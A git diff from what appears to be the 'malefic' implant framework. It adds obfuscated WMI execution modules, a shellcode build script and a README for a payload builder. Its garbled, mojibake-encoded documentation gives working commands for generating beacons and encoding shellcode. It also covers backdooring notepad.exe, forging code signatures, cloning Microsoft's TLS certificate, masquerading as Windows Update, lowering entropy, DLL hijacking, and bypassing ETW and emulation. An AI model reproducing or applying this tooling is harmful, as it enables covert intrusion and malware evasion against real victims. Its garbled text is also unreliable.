namespace.unwrap_or("ROOT").to_string(); + let wmi_con = WMIConnection::with_namespace_path(&namespace, com_con)?; + + Ok(WmiManager { wmi_con }) + } + + fn execute_query(&self, query: &str) -> Result>, WMIError> { + let enumerator = self.wmi_con.exec_query_native_wrapper(query)?; + let mut results = Vec::new(); + for item in enumerator { + let obj = match item { + Ok(o) => o, + Err(_) => continue, + }; + let props = match obj.list_properties() { + Ok(p) => p, + Err(_) => continue, + }; + let mut map = HashMap::new(); + for prop in props { + if let Ok(val) = obj.get_property(&prop) { + map.insert(prop, val); + } + } + results.push(map); + } + Ok(results) + } + + fn execute_method( + &self, + class_name: &str, + method_name: &str, + params: HashMap, + ) -> Result>, WMIError> { + let exec_params: Vec = params + .into_iter() + .map(|(key, value)| WmiExecParam { key, value }) + .collect(); + let wrapper = self + .wmi_con + .exec_method(class_name, method_name, &exec_params); + + let mut converted_map = HashMap::new(); + match wrapper { + Ok(Some(obj)) => { + if let Ok(props) = obj.list_properties() { + for prop in props { + if let Ok(val) = obj.get_property(&prop) { + converted_map.insert(prop, val); + } + } + } + } + Ok(None) => { + converted_map.insert(obfstr!("ReturnValue").to_string(), Variant::I4(0)); + } + Err(e) => { + converted_map.insert(obfstr!("ReturnValue").to_string(), Variant::I4(1)); + converted_map.insert( + obfstr!("Error").to_string(), + Variant::String(format!("{:?}", e)), + ); + } + } + Ok(vec![converted_map]) + } +} pub struct WmiQuery {} @@ -12,28 +126,31 @@ pub struct WmiQuery {} impl Module for WmiQuery {} #[async_trait] +#[obfuscate] impl ModuleImpl for WmiQuery { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::WmiRequest)?; let cmdline = check_field!(req.args)?.join(" "); let manager = WmiManager::open(Some(req.namespace.as_str()))?; - let results = manager.execute_query(&*cmdline)?; + let results = manager.execute_query(&*cmdline)?; let mut kv_result = HashMap::new(); for record in results { let string_map = variant_to_string_map(record); - kv_result.extend(string_map); + kv_result.extend(string_map); } - Ok(TaskResult::new_with_body(id, Body::Response(Response { - output: "".to_string(), - error: String::new(), - kv: kv_result, - array: Vec::new(), - }))) + Ok(TaskResult::new_with_body( + id, + Body::Response(Response { + output: "".to_string(), + error: String::new(), + kv: kv_result, + array: Vec::new(), + }), + )) } } - pub struct WmiExecuteMethod {} #[async_trait] @@ -41,18 +158,21 @@ pub struct WmiExecuteMethod {} impl Module for WmiExecuteMethod {} #[async_trait] +#[obfuscate] impl ModuleImpl for WmiExecuteMethod { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { - // 获å–请求中的 WMI æ–¹æ³•è°ƒç”¨ä¿¡æ¯ let req = check_request!(receiver, Body::WmiMethodRequest)?; let class_name = check_field!(req.class_name)?; let method_name = check_field!(req.method_name)?; - // 创建 WmiManager 并执行 WMI 方法 let manager = WmiManager::open(Some(req.namespace.as_str()))?; - let results = manager.execute_method(class_name.as_str(), method_name.as_str(), string_to_variant_map(req.params))?; + let results = manager.execute_method( + class_name.as_str(), + method_name.as_str(), + string_to_variant_map(req.params), + )?; let mut kv_result = HashMap::new(); - + for record in results { let string_map = variant_to_string_map(record); for (key, value) in string_map { @@ -60,13 +180,14 @@ impl ModuleImpl for WmiExecuteMethod { } } - // 返回结果 - Ok(TaskResult::new_with_body(id, Body::Response(Response { - output: format!("Executed {}::{}", class_name, method_name), - error: String::new(), - kv: kv_result, - array: Vec::new(), - }))) + Ok(TaskResult::new_with_body( + id, + Body::Response(Response { + output: format!("Executed {}::{}", class_name, method_name), + error: String::new(), + kv: kv_result, + array: Vec::new(), + }), + )) } } - diff --git a/malefic-modules/tests/test_module.rs b/malefic-modules/tests/test_module.rs deleted file mode 100644 index 128b94e..0000000 --- a/malefic-modules/tests/test_module.rs +++ /dev/null @@ -1,70 +0,0 @@ -// use std::collections::HashMap; -// use tokio::sync::mpsc; -// use tokio::time::{timeout, Duration}; -// use modules::Module; -// use malefic_helper::protobuf::implantpb::*; -// use malefic_helper::protobuf::implantpb::spite::Body; - -// macro_rules! module_test { -// ($module:ty, $request:expr) => {{ -// use tokio::sync::mpsc; -// use tokio::time::{timeout, Duration}; - -// // 创建模å—实例 -// let mut module_instance = <$module as Module>::new().new_instance(); -// // å‘é€è¯·æ±‚ -// module_instance.sender().send($request).await.unwrap(); -// // 创建结果接收器 -// let (sender, receiver) = mpsc::channel(1); -// // è¿è¡Œæ¨¡å—并等待结果 -// let run_result = timeout(Duration::from_secs(5), module_instance.run(1, sender)) -// .await -// .expect("run 方法超时") -// .expect("run 方法执行出错"); - -// // å¯é€‰ï¼šæ‰“å°è¿è¡Œç»“æžœ -// dbg!(&run_result); - -// // 返回è¿è¡Œç»“æžœ -// run_result -// }}; -// } - -// #[tokio::test] -// async fn test_pwd() { -// let request = spite::Body::Request(Request{ -// name: "ls".to_string(), -// input: ".".to_string(), -// args: vec![], -// params: HashMap::new(), -// }); - -// let result = module_test!(modules::fs::pwd::Pwd, request); - -// match result.body { -// Body::Response(response) => { -// assert!(!response.output.is_empty(), "输出应该包å«å½“å‰ç›®å½•的路径"); -// } -// _ => panic!("期望得到 Response 类型的 body"), -// } -// } - - -// #[tokio::test] -// async fn test_ls() { -// let request = spite::Body::Request(Request{ -// name: "ls".to_string(), -// input: ".".to_string(), -// args: vec![], -// params: HashMap::new(), -// }); - -// let result = module_test!(modules::fs::ls::Ls, request); - -// match result.body { -// Body::LsResponse(response) => { -// assert!(!response.files.is_empty(), "输出应该包å«å½“å‰ç›®å½•的文件列表"); -// } -// _ => panic!("期望得到 Response 类型的 body"), -// } -// } diff --git a/malefic-mutant/Cargo.toml b/malefic-mutant/Cargo.toml index e0f2365..5ee790d 100644 --- a/malefic-mutant/Cargo.toml +++ b/malefic-mutant/Cargo.toml @@ -5,11 +5,15 @@ edition = "2021" [features] default = [] - source = [] +# Enable to recompile malefic-srdi from source and extract .text shellcode. +# Requires: nightly toolchain + rust-src component. +# Without this feature, pre-built shellcode bytes in shellcode.rs are used. +rebuild_srdi = [] [dependencies] -lazy_static = { workspace = true, features = ["spin_no_std"] } +malefic-gateway = { workspace = true } +const-random = { workspace = true } prost = { workspace = true } serde = { workspace = true } serde_yaml = "0.9" @@ -30,9 +34,23 @@ log = "0.4" chrono = { workspace = true } colored = "2.2.0" duct = "0.13" -rand = "0.8.5" +rand = { version = "0.8.5", features = ["small_rng"] } +fake = { version = "4", features = ["derive"] } walkdir = "2.3.2" url = { workspace = true } regex = { workspace = true } zip = "0.5.13" -malefic-proto = { path = "../malefic-proto", features = ["Crypto_AES", "enable_serde"] } +syn = { workspace = true, features = ["full", "visit", "visit-mut", "parsing", "printing"] } +quote = { workspace = true } +proc-macro2 = { workspace = true } +crc32fast = "1.3" +rustls = "0.23" +webpki-roots = "0.26" +malefic-proto = { workspace = true, features = ["crypto_aes", "enable_serde"] } +malefic-crypto = { workspace = true, default-features = true } +malefic-config = { workspace = true, features = ["encoder"] } +malefic-codec = { workspace = true, features = ["encoder", "codec_all"] } +malefic-common = { workspace = true } + +[build-dependencies] +goblin = "0.8" diff --git a/malefic-mutant/README.md b/malefic-mutant/README.md new file mode 100644 index 0000000..c301d24 --- /dev/null +++ b/malefic-mutant/README.md @@ -0,0 +1,484 @@ +# Malefic Mutant + +Malefic 生æ€çš„é…置生æˆã€ç¼–译构建与二进制åŽå¤„ç†å·¥å…·é“¾ã€‚æä¾› YAML 驱动的 implant é…置生æˆã€è‡ªåŠ¨åŒ–ç¼–è¯‘ã€12 ç§ payload ç¼–ç æ–¹æ¡ˆï¼Œä»¥åŠä¸°å¯Œçš„ PE æ“作工具集。 + +## æž¶æž„ + +Mutant 采用三级命令结构: + +``` +mutant +├── generate — 从 YAML 生æˆé…置代ç ä¸Ž feature 标记 +├── build — 编译 payloadï¼ˆæ”¯æŒ OLLVM / zigbuild) +└── tool — 二进制åŽå¤„ç†å·¥å…·é›† +``` + +## 快速开始 + +```bash +# 1. 从 implant.yaml ç”Ÿæˆ beacon é…ç½® +cargo run -p malefic-mutant -- generate beacon + +# 2. 编译 beacon +cargo run -p malefic-mutant -- build malefic + +# 3. å¯¹äº§ç‰©è¿›è¡Œç¼–ç  +cargo run -p malefic-mutant -- tool encode -i malefic.exe -e aes -f bin + +# 4. 转æ¢ä¸º shellcode (SRDI) +cargo run -p malefic-mutant -- tool srdi -i malefic.dll -o malefic.bin +``` + +## Generate — é…ç½®ç”Ÿæˆ + +从 `implant.yaml` 读å–é…置,生æˆå„组件所需的 Rust 代ç ä¸Ž Cargo feature 标记。 + +```bash +# 指定é…置文件与版本 +cargo run -p malefic-mutant -- generate -c implant.yaml -v community +``` + +| å­å‘½ä»¤ | 说明 | +|--------|------| +| `beacon` | ç”Ÿæˆ beacon(åå‘连接)é…ç½®ä»£ç  | +| `bind` | ç”Ÿæˆ bind(正å‘监å¬ï¼‰é…ç½®ä»£ç  | +| `prelude` | ç”Ÿæˆ prelude stager é…ç½®ï¼Œå« spite åºåˆ—化 | +| `pulse` | ç”Ÿæˆ pulse listener é…置(HTTP/TCP) | +| `modules -m exec,ls,upload` | æ›´æ–°æ¨¡å— feature 标记 | +| `loader template` | ç”Ÿæˆæ¨¡æ¿ loaderï¼ˆéšæœºæˆ–指定模æ¿ï¼‰ | +| `loader proxydll` | ç”Ÿæˆ ProxyDLL(DLL 劫æŒï¼‰ | +| `loader patch` | PE åŽé—¨æ³¨å…¥ï¼ˆBDF é£Žæ ¼ä»£ç æ´ž / 新增 section) | + +### Patch Mode + +```bash +cargo run -p malefic-mutant -- generate --patch-mode beacon +``` + +å¯ç”¨ `--patch-mode` åŽï¼Œç”Ÿæˆçš„é…ç½®ç¦ç”¨ `obfstr` å¹¶ä¿ç•™ XOR å—,以便åŽç»­ `tool patch` 对编译产物进行字段替æ¢ã€‚ + +## Build — 编译构建 + +```bash +# 默认目标三元组 +cargo run -p malefic-mutant -- build -t x86_64-pc-windows-gnu + +# 编译为 DLL +cargo run -p malefic-mutant -- build --lib malefic +``` + +| å­å‘½ä»¤ | 说明 | +|--------|------| +| `malefic` | 编译主 beacon implant | +| `prelude` | 编译 prelude stager | +| `modules -m exec,ls` | ç¼–è¯‘æŒ‡å®šå†…ç½®æ¨¡å— | +| `3rd -m rem,curl` | ç¼–è¯‘ç¬¬ä¸‰æ–¹æ¨¡å— | +| `pulse` | 编译 pulse listener | +| `proxy-dll` | 编译 ProxyDLL | + +### OLLVM æ··æ·† + +在 `implant.yaml` 中é…置: + +```yaml +build: + ollvm: + enable: true + bcfobf: true # è™šå‡æŽ§åˆ¶æµ + splitobf: true # åŸºæœ¬å—æ‹†åˆ† + subobf: true # æŒ‡ä»¤æ›¿æ¢ + fco: true # 函数调用混淆 + constenc: true # 常é‡åР坆 +``` + +### 元数æ®ä¸Žèµ„æº + +```yaml +build: + metadata: + icon: "resources/app.ico" + company_name: "Microsoft Corporation" + product_name: "Windows Update" + file_description: "Windows Update Service" + file_version: "10.0.19041.1" + original_filename: "wuauserv.exe" + require_admin: false + require_uac: false +``` + +## Tool — 二进制工具集 + +### Encode — Payload ç¼–ç ï¼ˆ12 ç§ï¼‰ + +```bash +# åˆ—å‡ºæ‰€æœ‰ç¼–ç æ–¹æ¡ˆ +cargo run -p malefic-mutant -- tool encode -l + +# AES ç¼–ç ï¼Œè¾“出为 Rust æºç  +cargo run -p malefic-mutant -- tool encode -i payload.bin -e aes -f rust -o encoded + +# 所有格å¼ä¸€æ¬¡æ€§è¾“出 +cargo run -p malefic-mutant -- tool encode -i payload.bin -e chacha -f all +``` + +| ç¼–ç æ–¹æ¡ˆ | 说明 | +|----------|------| +| `xor` | XORï¼ˆéšæœºå¯†é’¥ï¼‰ | +| `rc4` | RC4 æµå¯†ç  | +| `aes` | AES-128 CBC | +| `aes2` | AES å˜ä½“ | +| `des` | DES CBC | +| `chacha` | ChaCha20 | +| `base64` | Base64 | +| `base45` | Base45 | +| `base58` | Base58 | +| `uuid` | UUID æ ¼å¼ç¼–ç  | +| `mac` | MAC åœ°å€æ ¼å¼ç¼–ç  | +| `ipv4` | IPv4 åœ°å€æ ¼å¼ç¼–ç  | + +输出格å¼ï¼š`bin`(二进制)ã€`c`(C 头文件)ã€`rust`(Rust æºç ï¼‰ã€`all`(全部)。 + +### SRDI — åå°„å¼ DLL 注入 + +å°† DLL 转æ¢ä¸ºä½ç½®æ— å…³çš„ shellcode: + +```bash +# Malefic SRDIï¼ˆæ”¯æŒ TLS 回调) +cargo run -p malefic-mutant -- tool srdi -t malefic -i implant.dll -o implant.bin + +# Link SRDI(轻é‡ï¼Œä¸æ”¯æŒ TLS) +cargo run -p malefic-mutant -- tool srdi -t link -i implant.dll -o implant.bin --function-name DllMain + +# é™„å¸¦ç”¨æˆ·æ•°æ® +cargo run -p malefic-mutant -- tool srdi -i implant.dll -o implant.bin --userdata-path config.bin +``` + +### Patch — äºŒè¿›åˆ¶å­—æ®µçƒ­è¡¥ä¸ + +对已编译的 beacon 二进制进行字段替æ¢ï¼Œæ— éœ€é‡æ–°ç¼–译: + +```bash +# æ›¿æ¢ NAME / KEY / SERVER_ADDRESS +cargo run -p malefic-mutant -- tool patch -f malefic.exe --name new_beacon --key new_key --server-address 10.0.0.1:5001 + +# 指定输出路径 +cargo run -p malefic-mutant -- tool patch -f malefic.exe --server-address 10.0.0.1:5001 -o patched.exe +``` + +### Patch-Config — è¿è¡Œæ—¶é…ç½®çƒ­è¡¥ä¸ + +```bash +# 从 RuntimeConfig JSON è¡¥ä¸ +cargo run -p malefic-mutant -- tool patch-config -f malefic.exe -c runtime.json + +# 从 implant.yaml 生æˆå¹¶è¡¥ä¸ +cargo run -p malefic-mutant -- tool patch-config -f malefic.exe --from-implant implant.yaml + +# ç›´æŽ¥ä¼ å…¥é¢„ç¼–ç  blob +cargo run -p malefic-mutant -- tool patch-config -f malefic.exe --blob "Q0ZHdjNCNjQ..." +``` + +### SigForge — PE ç­¾åæ“ä½œ + +```bash +# æå–ç­¾å +cargo run -p malefic-mutant -- tool sigforge extract -i signed.exe -o sig.bin + +# å¤åˆ¶ç­¾å(从已签å PE 到目标 PE) +cargo run -p malefic-mutant -- tool sigforge copy -s signed.exe -t target.exe -o output.exe + +# 注入签å +cargo run -p malefic-mutant -- tool sigforge inject -s sig.bin -t target.exe + +# 移除签å +cargo run -p malefic-mutant -- tool sigforge remove -i target.exe -o unsigned.exe + +# 检查是å¦å·²ç­¾å +cargo run -p malefic-mutant -- tool sigforge check -i target.exe + +# 克隆远程 TLS è¯ä¹¦å¹¶æ³¨å…¥ +cargo run -p malefic-mutant -- tool sigforge carbon-copy --host www.microsoft.com -t target.exe -o output.exe +``` + +### Loader — åŠ è½½å™¨ç”Ÿæˆ + +#### Template Loader + +```bash +# éšæœºé€‰æ‹©æ¨¡æ¿ +cargo run -p malefic-mutant -- generate loader template -i payload.bin -e aes + +# 列出å¯ç”¨æ¨¡æ¿ +cargo run -p malefic-mutant -- generate loader template -l + +# æŒ‡å®šæ¨¡æ¿ +cargo run -p malefic-mutant -- generate loader template -t fiber_exec -i payload.bin + +# å¯ç”¨å­—符串混淆 +cargo run -p malefic-mutant -- generate loader template -t func_ptr -i payload.bin --obf-strings + +# å¯ç”¨å…¨éƒ¨æ··æ·†ï¼ˆå­—符串 + åžƒåœ¾ä»£ç  + 内存清零) +cargo run -p malefic-mutant -- generate loader template -t func_ptr -i payload.bin -e aes --obf-full +``` + +混淆选项: + +| 标志 | 说明 | +|------|------| +| `--obf-strings` | 编译期 AES 字符串加密(DLL åã€API 函数å等) | +| `--obf-full` | 全部混淆:字符串加密 + åžƒåœ¾ä»£ç æ³¨å…¥ + 内存安全清零 | + +#### ProxyDLL Loader + +```bash +# ä»Žå‘½ä»¤è¡ŒæŒ‡å®šå‚æ•° +cargo run -p malefic-mutant -- generate loader proxydll -r version.dll -p version_orig.dll -e GetFileVersionInfoW + +# åŠ«æŒ DllMain +cargo run -p malefic-mutant -- generate loader proxydll -r version.dll -p version_orig.dll --hijack-dll-main +``` + +#### Patch Loader(BDF 风格) + +```bash +# æŸ¥æ‰¾ä»£ç æ´ž +cargo run -p malefic-mutant -- generate loader patch -f notepad.exe --find-caves + +# 注入 shellcode åˆ°ä»£ç æ´ž +cargo run -p malefic-mutant -- generate loader patch -f notepad.exe -i payload.bin -o backdoored.exe + +# 强制新增 section +cargo run -p malefic-mutant -- generate loader patch -f notepad.exe -i payload.bin --add-section --section-name .rsrc2 +``` + +### Entropy — ç†µå€¼ç®¡ç† + +```bash +# æµ‹é‡ Shannon 熵 +cargo run -p malefic-mutant -- tool entropy -i malefic.exe --measure-only + +# é™ä½Žç†µå€¼ï¼ˆnull_bytes 策略,目标 < 6.0) +cargo run -p malefic-mutant -- tool entropy -i malefic.exe -o reduced.exe -t 6.0 -s null_bytes + +# Pokemon ç­–ç•¥ï¼ˆåµŒå…¥éšæœº Pokemon å称) +cargo run -p malefic-mutant -- tool entropy -i malefic.exe -o reduced.exe -s pokemon +``` + +| ç­–ç•¥ | 说明 | +|------|------| +| `null_bytes` | 追加空字节 | +| `pokemon` | 嵌入 Pokemon å称字符串 | +| `random_words` | åµŒå…¥éšæœºè‹±æ–‡å•è¯ | + +### Obfuscate — æºç çº§æ··æ·† + +```bash +# 混淆目录下所有 Rust 文件 +cargo run -p malefic-mutant -- tool obf -i src/ -o obfuscated/ + +# ä»…æ··æ·†å­—ç¬¦ä¸²ï¼Œè·³è¿‡æ•´æ•°å’ŒæŽ§åˆ¶æµ +cargo run -p malefic-mutant -- tool obf -i src/main.rs -o out/ --no-integers --no-flow + +# å¯ç”¨å˜é‡é‡å‘½å,密度 5 +cargo run -p malefic-mutant -- tool obf -i src/ -o out/ --rename -d 5 + +# 50% 字符串加密率 +cargo run -p malefic-mutant -- tool obf -i src/ -o out/ -p 50 +``` + +混淆能力: + +| 功能 | 说明 | +|------|------| +| 字符串加密 | `obfstr!()` å®åŒ…裹字符串字é¢é‡ | +| æ•´æ•°æ··æ·† | `obf_int!()` å®åŒ…裹整数字é¢é‡ | +| æŽ§åˆ¶æµæ··æ·† | `#[junk]` å±žæ€§æ³¨å…¥åžƒåœ¾ä»£ç  | +| å˜é‡é‡å‘½å | 局部å˜é‡ä¸Žå‡½æ•°éšæœºå‘½å | + +### Watermark — PE æ°´å° + +```bash +# å†™å…¥æ°´å° +cargo run -p malefic-mutant -- tool watermark write -i target.exe -o marked.exe -m dosstub -w "TEAM-001" + +# è¯»å–æ°´å° +cargo run -p malefic-mutant -- tool watermark read -i marked.exe -m dosstub -s 8 +``` + +| 方法 | ä½ç½® | +|------|------| +| `checksum` | PE checksum 字段 | +| `dosstub` | DOS stub 区域 | +| `section` | 自定义 section | +| `overlay` | PE overlay 区域 | + +### Binder — PE æ†ç»‘ + +```bash +# å°† payload 嵌入载体 PE +cargo run -p malefic-mutant -- tool binder bind -p carrier.exe -s payload.exe -o bound.exe + +# æå–嵌入的 payload +cargo run -p malefic-mutant -- tool binder extract -i bound.exe -o extracted.exe + +# 检查是å¦åŒ…å«åµŒå…¥å†…容 +cargo run -p malefic-mutant -- tool binder check -i bound.exe +``` + +### Icon — 图标æ“作 + +```bash +# æ›¿æ¢ PE 图标 +cargo run -p malefic-mutant -- tool icon replace -i target.exe --ico new_icon.ico -o output.exe + +# æå– PE 图标 +cargo run -p malefic-mutant -- tool icon extract -i target.exe -o extracted.ico +``` + +### Strip — 路径剥离 + +```bash +# 剥离二进制中的编译路径 +cargo run -p malefic-mutant -- tool strip -i malefic.exe -o stripped.exe + +# é™„åŠ è‡ªå®šä¹‰è·¯å¾„æ¨¡å¼ +cargo run -p malefic-mutant -- tool strip -i malefic.exe -o stripped.exe --custom-paths "/home/user,C:\\build" +``` + +### ObjCopy — 二进制段æå– + +```bash +# æå– .text 段为裸二进制 +cargo run -p malefic-mutant -- tool objcopy -O binary input.o output.bin +``` + +## é…置文件结构 + +`implant.yaml` 核心字段: + +```yaml +basic: + name: "beacon_name" + targets: + - address: "10.0.0.1:5001" + http: # HTTP å议(çœç•¥åˆ™ä¸º TCP) + method: POST + path: /api/v1 + version: "1.1" + headers: + User-Agent: "Mozilla/5.0" + tls: + enable: true + version: "1.3" + sni: "cdn.example.com" + encryption: "aes" + key: "your-encryption-key" + cron: "*/5 * * * * * *" # 回连间隔(cron 表达å¼ï¼‰ + jitter: 0.2 + keepalive: false # å¯åŠ¨åŽæ˜¯å¦ç›´æŽ¥è¿›å…¥ duplex keepalive + retry: 3 + dga: + enable: false + key: "dga_seed" + interval_hours: 2 + guardrail: + enable: false + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + +implants: + runtime: "async" # async / thread + mod: "fork" # fork / dynamic + modules: + - exec_assembly + - execute_shellcode + - ls + - upload + - download + enable_3rd: false + 3rd_modules: [] + apis: + level: "dynamic" + priority: + normal: { enable: true, type: "win32" } + dynamic: { enable: true, type: "lazy" } + syscalls: { enable: false, type: "direct" } + +build: + zigbuild: false + toolchain: "nightly-2023-09-18" + obfstr: true + ollvm: + enable: false + metadata: + icon: "" + company_name: "" + product_name: "" + +loader: + proxydll: + raw_dll: "version.dll" + proxied_dll: "version_orig.dll" + proxyfunc: "GetFileVersionInfoW" + evader: + anti_emu: true + etw_pass: true + god_speed: false + obfuscate: + strings: true # 编译期 AES 字符串加密 + junk: true # åžƒåœ¾ä»£ç æ³¨å…¥ + memory: true # Shellcode 执行åŽå®‰å…¨æ¸…é›¶ +``` + +## 目录结构 + +``` +malefic-mutant/ +├── Cargo.toml +├── config_lint.json # YAML é…ç½® JSON Schema +├── src/ +│ ├── main.rs # CLI å…¥å£ä¸Žå‘½ä»¤ç¼–排 +│ ├── cmd.rs # Clap 命令定义 +│ ├── config/mod.rs # é…置结构体定义 +│ ├── logger.rs # 彩色日志系统 +│ ├── generate/ +│ │ ├── codegen.rs # beacon/bind é…置代ç ç”Ÿæˆ +│ │ ├── features.rs # Feature 标记解æžä¸Ž Cargo.toml 修改 +│ │ ├── cargo_features.rs # 工作区 crate feature ç®¡ç† +│ │ ├── prelude.rs # Prelude é…ç½®ç”Ÿæˆ +│ │ ├── resources.rs # 资æºå…ƒæ•°æ®ç”Ÿæˆï¼ˆRC/manifest) +│ │ └── spites.rs # Spite 二进制åºåˆ—化 +│ ├── build/ +│ │ ├── payload/mod.rs # Payload 编译(OLLVM / zigbuild / cargo) +│ │ └── pulse/ # Pulse æž„å»ºç”Ÿæˆ +│ └── tool/ +│ ├── encoder/ # 12 ç§ç¼–ç æ–¹æ¡ˆ +│ ├── loader/ # Template / ProxyDLL / Patch loader +│ ├── obfuscate/ # æºç çº§ AST æ··æ·† +│ ├── pe/ # PE è§£æžä¸Ž objcopy +│ ├── sigforge/ # PE ç­¾åæ“ä½œ +│ ├── srdi/ # SRDI shellcode ç”Ÿæˆ +│ ├── binder/ # PE æ†ç»‘器 +│ ├── watermark/ # PE æ°´å° +│ ├── icon/ # ICO å¤„ç† +│ ├── entropy/ # Shannon 熵分æžä¸Žé™ä½Ž +│ ├── strip/ # 路径剥离 +│ ├── patch.rs # äºŒè¿›åˆ¶å­—æ®µè¡¥ä¸ +│ └── proxydll/ # ProxyDLL 资æºç®¡ç† +``` + +## ä¾èµ– + +| Crate | 用途 | +|-------|------| +| `malefic-proto` | å议定义与 Protobuf åºåˆ—化 | +| `malefic-config` | è¿è¡Œæ—¶é…ç½®ç¼–ç  | +| `malefic-codec` | Payload ç¼–è§£ç ï¼ˆ12 ç§ç®—法) | +| `malefic-common` | 公共工具函数 | +| `malefic-obfuscate` | æ··æ·†å®å®šä¹‰ | +| `goblin` | PE/ELF/Mach-O äºŒè¿›åˆ¶è§£æž | +| `syn` / `quote` | Rust AST æ“作(æºç æ··æ·†ï¼‰ | +| `clap` | CLI 傿•°è§£æž | +| `rustls` | TLS è¯ä¹¦å…‹éš†ï¼ˆcarbon-copy) | diff --git a/malefic-mutant/build.rs b/malefic-mutant/build.rs new file mode 100644 index 0000000..e809a81 --- /dev/null +++ b/malefic-mutant/build.rs @@ -0,0 +1,139 @@ +// malefic-mutant build.rs +// +// When `rebuild_srdi` feature is enabled, compiles malefic-srdi from source +// for x86_64 and i686 MSVC targets, extracts the .text section from each PE, +// and writes the raw shellcode bytes to OUT_DIR for include_bytes!(). +// +// Without the feature, this is a no-op — the hardcoded bytes in shellcode.rs are used. + +fn main() { + #[cfg(feature = "rebuild_srdi")] + rebuild_srdi::run(); +} + +#[cfg(feature = "rebuild_srdi")] +mod rebuild_srdi { + use std::path::{Path, PathBuf}; + use std::process::Command; + + struct Target { + triple: &'static str, + out_name: &'static str, + } + + const TARGETS: &[Target] = &[ + Target { + triple: "x86_64-pc-windows-msvc", + out_name: "malefic_srdi_x64.bin", + }, + Target { + triple: "i686-pc-windows-msvc", + out_name: "malefic_srdi_x32.bin", + }, + ]; + + /// RUSTFLAGS matching the original .cargo/config.toml from malefic-srdi. + fn rustflags() -> String { + [ + "-Z pre-link-arg=/NOLOGO", + "-Z pre-link-arg=/NOENTRY", + "-C link-arg=/ENTRY:main", + "-C link-arg=/MERGE:.edata=.rdata", + "-C link-arg=/MERGE:.rustc=.data", + "-C link-arg=/MERGE:.rdata=.text", + "-C link-arg=/MERGE:.pdata=.text", + "-C link-arg=/DEBUG:NONE", + "-C link-arg=/EMITPOGOPHASEINFO", + "-C link-arg=/NODEFAULTLIB", + "-C target-feature=-mmx,-sse,+soft-float", + ] + .join(" ") + } + + /// Find the workspace root (where the top-level Cargo.toml lives). + fn workspace_root() -> PathBuf { + let manifest_dir = std::env::var("CARGO_MANIFEST_DIR").unwrap(); + // malefic-mutant is at workspace_root/malefic-mutant + Path::new(&manifest_dir) + .parent() + .expect("cannot find workspace root") + .to_path_buf() + } + + fn compile_srdi(ws_root: &Path, target: &Target) -> PathBuf { + let flags = rustflags(); + + let status = Command::new("cargo") + .arg("+nightly") + .args(["build", "-p", "malefic-srdi"]) + .args(["--features", "standalone"]) + .arg("-Zbuild-std=core,alloc") + .args(["--target", target.triple]) + .arg("--release") + .env("RUSTFLAGS", &flags) + // Clear inherited cargo env that overrides RUSTFLAGS in nested builds + .env_remove("CARGO_ENCODED_RUSTFLAGS") + .env_remove("CARGO_MAKEFLAGS") + .current_dir(ws_root) + .status() + .unwrap_or_else(|e| panic!("Failed to invoke cargo for {}: {}", target.triple, e)); + + if !status.success() { + panic!( + "cargo build failed for malefic-srdi target {}", + target.triple + ); + } + + ws_root + .join("target") + .join(target.triple) + .join("release") + .join("malefic-srdi.exe") + } + + fn extract_text_section(pe_path: &Path) -> Vec { + let data = std::fs::read(pe_path) + .unwrap_or_else(|e| panic!("Cannot read PE {}: {}", pe_path.display(), e)); + + let pe = goblin::pe::PE::parse(&data) + .unwrap_or_else(|e| panic!("Cannot parse PE {}: {}", pe_path.display(), e)); + + for section in &pe.sections { + let name = String::from_utf8_lossy(§ion.name); + if name.starts_with(".text") { + let offset = section.pointer_to_raw_data as usize; + let size = section.size_of_raw_data as usize; + return data[offset..offset + size].to_vec(); + } + } + + panic!("No .text section found in {}", pe_path.display()); + } + + pub fn run() { + let ws_root = workspace_root(); + let out_dir = PathBuf::from(std::env::var("OUT_DIR").unwrap()); + + // Rerun only when srdi source changes + let srdi_src = ws_root.join("malefic-crates").join("srdi").join("src"); + println!("cargo:rerun-if-changed={}", srdi_src.display()); + + for target in TARGETS { + eprintln!( + "[build.rs] Compiling malefic-srdi for {} ...", + target.triple + ); + let pe_path = compile_srdi(&ws_root, target); + let text = extract_text_section(&pe_path); + let out_path = out_dir.join(target.out_name); + std::fs::write(&out_path, &text) + .unwrap_or_else(|e| panic!("Cannot write {}: {}", out_path.display(), e)); + eprintln!( + "[build.rs] Extracted {} bytes -> {}", + text.len(), + out_path.display() + ); + } + } +} diff --git a/config_lint.json b/malefic-mutant/config_lint.json similarity index 60% rename from config_lint.json rename to malefic-mutant/config_lint.json index b32b033..5acdba5 100644 --- a/config_lint.json +++ b/malefic-mutant/config_lint.json @@ -9,20 +9,49 @@ "proxy": { "type": "object", "properties": { - "use_env_proxy": {"type": "boolean"}, - "url": {"type": "string"} + "use_env_proxy": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["proxy"] + } + }, + "url": { + "type": "string", + "x-cargo-features": { + "type": "non_empty", + "features": ["proxy"] + } + } } }, "cron": {"type": "string"}, "jitter": {"type": "number"}, - "server_retry": {"type": "integer"}, - "global_retry": {"type": "integer"}, - "encryption": {"type": "string"}, + "keepalive": {"type": "boolean"}, + "retry": {"type": "integer"}, + "max_cycles": {"type": "integer"}, + "encryption": { + "type": "string", + "x-cargo-features": { + "type": "enum_map", + "mapping": { + "aes": ["crypto_aes"], + "chacha20": ["crypto_chacha20"], + "*": ["crypto_xor"] + } + } + }, "key": {"type": "string"}, "secure": { "type": "object", "properties": { - "enable": {"type": "boolean"}, + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["secure"] + } + }, "private_key": {"type": "string"}, "public_key": {"type": "string"} }, @@ -31,7 +60,13 @@ "dga": { "type": "object", "properties": { - "enable": {"type": "boolean"}, + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["dga"] + } + }, "key": {"type": "string"}, "interval_hours": {"type": "integer"} } @@ -39,7 +74,13 @@ "guardrail": { "type": "object", "properties": { - "enable": {"type": "boolean"}, + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["guardrail"] + } + }, "require_all": {"type": "boolean"}, "ip_addresses": { "type": "array", @@ -64,6 +105,13 @@ "type": "array", "items": { "type": "object", + "x-cargo-features-group": { + "presence_fields": { + "http": ["transport_http"], + "rem": ["transport_rem"] + }, + "default_when_absent": ["transport_tcp"] + }, "properties": 